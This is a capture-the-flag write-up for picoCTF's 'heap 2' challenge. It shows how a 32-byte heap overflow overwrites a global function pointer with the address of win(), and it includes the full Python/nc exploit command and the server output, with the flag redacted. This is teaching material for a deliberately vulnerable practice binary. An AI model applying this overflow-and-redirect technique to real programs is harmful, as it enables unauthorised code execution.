200 points
Category: Binary Exploitation
Tags: #binaryexploitation #heap #bufferoverflow
Can you handle function pointers?
Binary and source are provided for this challenge.
Further modifications to the heap 0 and heap 1 challenge, this time replacing the safe_var
global variable and associated buffer with a global variable named x
, but still initialised with the string "bico"
wihin init()
.
check_win()
that is invoked by menu item 4
when executing the program to print the flag now uses the value in x
as a function pointer with signature void x(void)
.
Given x
is initialised with a value of "bico"
attempting to execute the flag prior to any overflow attack results in a segmentation fault as the function pointer is obviously not valid.
Inspecting the provided source further we see a new win()
function that reads and displays the contents of the flag.txt
flag file. This function is not called from anywhere in the source.
So our aim is to make x = &win()
, then use the print flag menu item.
Inspecting the provided binary architecture and security features enabled:
$ checksec chall
[*] 'picoCTF/heap-2/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Disassemble the biniary to obtain function addresses:
$ objdump -M intel -d chall > chall.objdump.txt
Find the address of win()
function :
$ grep win chall.objdump.txt
00000000004011a0 <win>:
00000000004011f0 <check_win>:
So we need to set the contents of x
to 0x4011a0
to call our target win()
functon.
Checking the offset of x
from input_data
using the provided Print Heap
menu item to ensure our overflow attack payload hasn't changed from the previous challenges in the series.
$ ./chall
I have a function, I sometimes like to call it, maybe you should change it
1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit
Enter your choice: 1
[*] Address -> Value
+-------------+-----------+
[*] 0xd606b0 -> pico
+-------------+-----------+
[*] 0xd606d0 -> bico
The offset remains 32 bytes, so no change to attack payload and we can just replace the "pico"
of heap 1 with our target address.
The final solution is to construct a payload that;
- Select menu item 2 "Write to Buffer" =
b'2\n'
- Overflows the
input_data
buffer to reach the start of thex
buffer by outputting 32A
characters =b'A'*32
- Continue the overflow to write the address of
win()
intox
buffer, completing the input string to be written =b'\xa0\x11\x40\x00\x00\x00\x00\x00\n
- Select menu item 4 "Print Flag" to invoke
*x()
which equalswin()
=b'4\n'
When constructing the overflow attack payload I ran into issues with python3 unicode strings when constructing the address, as the conversion to UTF-8 encoding was addition addition bytes in the output. So the command was modified to use the more direct sys.stdout.buffer.write()
function.
I included the full little-endian address of win()
however this command will not output the null bytes as indicatd by the warning, but given the added null termination of the scanf()
to our input we have successfully overwritten the contents of x
with the valid address (lowest three bytes being non-zero).
$ echo -e $(python3 -c "import sys; sys.stdout.buffer.write(b'2\n' + b'A'*32 + b'\xa0\x11\x40\x00\x00\x00\x00\x00\n4\n')") | nc mimas.picoctf.net 55335
bash: warning: command substitution: ignored null byte in input
I have a function, I sometimes like to call it, maybe you should change it
1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit
Enter your choice: Data for buffer:
1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit
Enter your choice: picoCTF{...........redacted.............}
Where the actual flag value has been redacted for the purposes of this write up.